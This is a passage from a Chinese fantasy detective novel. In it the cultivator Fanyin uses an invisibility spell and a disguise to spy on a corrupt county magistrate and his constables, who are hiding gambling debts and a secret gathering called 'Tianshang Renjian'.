其三的话,赌场和情人关系的话,属于八卦消息,小七你可以去各大客栈看看嗑瓜子的村民打探打探。有任何危险即使通知我们,你可以做到吗?”
元瑾轩想了想,赞同地点了点头,眼中透露出坚定。
小七装作不乐意的暗爽道:“梵音怎么给我安排这么轻松的活呀,我其实武力值超高的~”
梵音的名字小七似是无意说出,但听在梵音耳中,却令她全身一僵,眼睫剧烈颤动了一下,眼神中闪过一丝异样,脸上瞬间飞起一抹红晕。
元瑾轩很夸张地叹了一口气,撇了撇嘴,酸溜溜地感慨道:“小七姑娘,你与我的梵师姐有这么熟吗?还直呼名字?”
小七挑了挑眉,嘴角勾起一抹弧度,直接抬腿踢了他一脚。
“哎呀,你还急了,还动脚打人了!”
他连退数步躲到了梵音的身后,脸上满是懊悔之色,赔笑着道:“小七姑娘。您大人有大量,饶过小的吧。”他的眼睛不停地眨着,一副讨好的样子。
梵音被他们被逗得一笑,笑容清淡柔和,眼中满是笑意,并无一丝愠恼之意:“好了。你们都多大人了,怎的还和小孩子一般气性。夜露深重,都回去歇息吧。明日还要调查案件呢。”
小七闻言作大度状,摆了摆手,脸上带着几分得意:“才不和他一般计较呢。梵音,那你好好休息~”
元瑾轩捧着胸口,幽怨地道:“哎呀,小七姑娘真是好度量呢。梵师姐,那我先告退了~”说罢这人就和脱缰的野马一般,飞一般的逃开了,生怕小七追着他揍,那模样甚是狼狈。
青林翠竹,曲水流觞,周遭环境澹静而优雅。
梵音一大早就轻手轻脚地前往衙门,为了不打草惊蛇,她谨慎地施了隐身术,像一只轻盈的猫般,悄无声息地一直蹲守着衙役们。她那明亮的眼眸中闪着狡黠,心中暗想:如若她猜的不错的话,旧元村的衙门一定暗藏玄机。
漫长的等待果然不是白白浪费的,只见昨日为首的衙役似乎收到了什么神秘的信息,他的脸色瞬间变得严峻起来,眉头紧紧皱起,步伐匆忙地走向内院书房。
“大人,有一事要报。”衙役的声音带着些许颤抖。
元县令冷峻的声线中带着浓浓的不耐烦,“进。”他的表情阴沉,目光中透着威严。
梵音一个瞬身飞至书房屋顶,她小心翼翼地将瓦片稍稍挪开了些许,耳朵紧紧贴着缝隙,侧耳倾听。
为首衙役带着几分慌张和失措,额头上布满了细密的汗珠,道:“听闻元瑾轩在赌场打闹了一场,将赌场的老板痛揍了一顿。我估计……那老板又不是什么硬骨头,估计那事已经交代了。”他说话时眼神闪烁,不敢直视元县令。
元县
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令闻听,猛地拍了拍桌子,他的脸涨得通红,眼睛瞪得滚圆,愤怒地怒斥道:“连这点小事都办不成,要你们何用?!”
为首衙役听见拍桌声,他的脸上满是惶恐与不安,身体不由自主地畏畏缩缩起来,声音小得如同蚊子哼,小声嘟囔道:“那……为今之计我们该如何处理呢?”
元县令的目光中闪过一丝狡黠和狠戾,手指摩挲着下巴,陷入沉思,片刻后说道:“定律司的人不能轻易碰,他们的实力我们目前还不了解。若事情暴露了,上报给圣上的话,我们就彻底完了。”
他顿了顿,似乎是想到了什么又很笃定地继续说道:“不过嘛,办案讲究的是证据二字,他们找不到证据的。你且安心吧,别自乱阵脚!”
为首衙役闻言,神情略为放松了一些,紧绷的身体微微舒缓,欠身离开。
“等等,派人随身跟着。若有万一,就不要让他们离开旧元村……”元县令眸气森森,一边说一边将手中的宣纸狠狠揉成一团,随后用力丢进火炉子。
为首衙役面色一沉,身体颤抖得更加厉害,颤颤巍巍道:“是!”
梵音见为首衙役从后门出去之后,立刻捏诀伪装成为首衙役。
蹲守一会后,终于发现一个衙役,她连忙冲其招招手,脸上带着严肃的表情。
“钱哥,你喊我?”那位衙役一边指着自己,一边满脸疑惑地朝梵音走了过来。
梵音拽着他往角落走,眉头紧皱,最后故作深沉,不耐烦地说道:“元瑾轩那小子去赌场大闹了一顿……”
衙役一脸惊讶,他的眼神中充满了恐惧,惊恐得嘴巴大张,道:“赌债的事情是知道了吗?还是……天上人间的事情不会也会被暴露出来吧?”
梵音眉毛一皱,沉默不语,脸上的表情愈发凝重。
衙役看其脸色,以为暴露了,更加慌乱。“那怎么办?明晚就是定期举办的时间了,要取消吗?”
梵音一开始以为这衙门是破不了案,随便找个人顶罪。但没想到,这衙门似乎还在搞什么聚会活动,天上人间?听上去就很邪乎。
梵音拍了拍他的头,眼神中透着严厉,“大人说了,证据没那么快被找到的。你这自乱阵脚做什么!”
衙役颤颤巍巍,他的声音带着哭腔道:“可是,那个赌场老板是个软骨头。赌债的事情肯定说了,所以我以为天上人间的事情他也说了……”
梵音又给了他一下,怒声阻止道:“我和你说的话别和其他人说,别乱了方寸!要是让我知道你乱说,我非打死你!”说罢假装一拳狠狠锤过去。
衙役忙捂住自己的头,他的眼中满是委屈,小声嘟囔道:“我知道了啦,别打了……”
梵音作势装腔后便朝从后门出去,迅速掩身回别所。根据刚刚一番潜伏得出的信息,这个案件确实是影响颇大,她立马拿出传令牌传讯,脸上满是冰霜。